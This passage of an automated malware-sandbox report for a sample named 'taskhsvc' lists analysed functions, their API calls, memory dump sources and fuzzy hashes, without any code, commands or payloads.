                                        • Opcode Fuzzy Hash: 62147a16d1827e764caafc16a063462a4437864e892eed6fa8681ffb9fe98145
                                        • Instruction Fuzzy Hash: 0B9117B4A04315CFCB10DFA9D985BADBBF1EB48310F00846AE988E7351D774A985CF65
                                        Function 00C29FAA Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 159COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: free$__stack_chk_fail
                                        • String ID: <NULL>$\:
                                        • API String ID: 3445780955-2236001349
                                        • Opcode ID: 681357de31f61efd4ef05da9cf6a6f3227d1c95444e1c03c6186d893b4576f48
                                        • Instruction ID: 9c7f9e33952235eddec99dab9a07e8d6fbb4ee92cf7c2058563b4b48e782061d
                                        • Opcode Fuzzy Hash: 681357de31f61efd4ef05da9cf6a6f3227d1c95444e1c03c6186d893b4576f48
                                        • Instruction Fuzzy Hash: 0C71C5B490421ADFDB00DFA9D5857AEBBF0FF48304F108819E4A5AB740D7799A85CF62
                                        Function 00D259C5 Relevance: 10.7, APIs: 7, Instructions: 151stringCOMMON
                                        Download Yara Rule
                                        APIs
                                        • _mkdir.MSVCRT ref: 00D25B54
                                        • strerror.MSVCRT ref: 00D25B72
                                        • abort.MSVCRT ref: 00D25A21
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        • _stati64.MSVCRT ref: 00D25A8E
                                        • free.MSVCRT ref: 00D25AA7
                                        • strerror.MSVCRT ref: 00D25AD7
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D25C45
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strerrorstrrchr$_mkdir_stati64abortfree
                                        • String ID:
                                        • API String ID: 2284005200-0
                                        • Opcode ID: 21ab86a7bdfb8acca4cbe89507274720db08bf63e1caf6eb78a7edb925f19c8d
                                        • Instruction ID: 758061170e7c3c65a49b52a853cc6796ad017b6409bdfbb0b2f4897b8fc4b8aa
                                        • Opcode Fuzzy Hash: 21ab86a7bdfb8acca4cbe89507274720db08bf63e1caf6eb78a7edb925f19c8d
                                        • Instruction Fuzzy Hash: 2861C1B49087099FD710EFA8E44575EBBF0FF88358F048819E4A8AB290D774D985DF62
                                        Function 00BC2F9C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 140COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00BC3000
                                        • time.MSVCRT ref: 00BC31A4
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BC31D5
                                          • Part of subcall function 00BC2D88: __stack_chk_fail.LIBSSP-0 ref: 00BC2DFB
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$aborttime
                                        • String ID: $../src/or/main.c$conn
                                        • API String ID: 343379102-1661927601
                                        • Opcode ID: 2163c96797984d147385e1f0a994baad61adb9c2ec355e7fc10efeb35f7aae3e
                                        • Instruction ID: b7056276cbe9f6010a5d40b6f512d4d11ae20d4aa0c1fccef2468dbc6fce4891
                                        • Opcode Fuzzy Hash: 2163c96797984d147385e1f0a994baad61adb9c2ec355e7fc10efeb35f7aae3e
                                        • Instruction Fuzzy Hash: F15128B49083459FCB00EFA4C44ABAEBBF0EF44744F45885DE598AB342D778D984CB62
                                        Function 00BE4243 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 134networkCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00BE331A: __stack_chk_fail.LIBSSP-0 ref: 00BE335F
                                        • recv.WS2_32 ref: 00BE42C1
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BE4444
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$recv
                                        • String ID: d$G'$`Q
                                        • API String ID: 3003304323-2872904378
                                        • Opcode ID: b54ff2fb83f25c54e5f862d57453961f088e23728decf07d98204f01b448571e
                                        • Instruction ID: bc955bf93aeab04378e9b0f8e42a697b6c91be522a8255700db4f408fd1f875d
                                        • Opcode Fuzzy Hash: b54ff2fb83f25c54e5f862d57453961f088e23728decf07d98204f01b448571e
                                        • Instruction Fuzzy Hash: 9351B2B4A04249DFCB00DFA9C58569EBBF0FF48314F108869E898AB351D7749984CF66
                                        Function 00CE62A9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 124COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
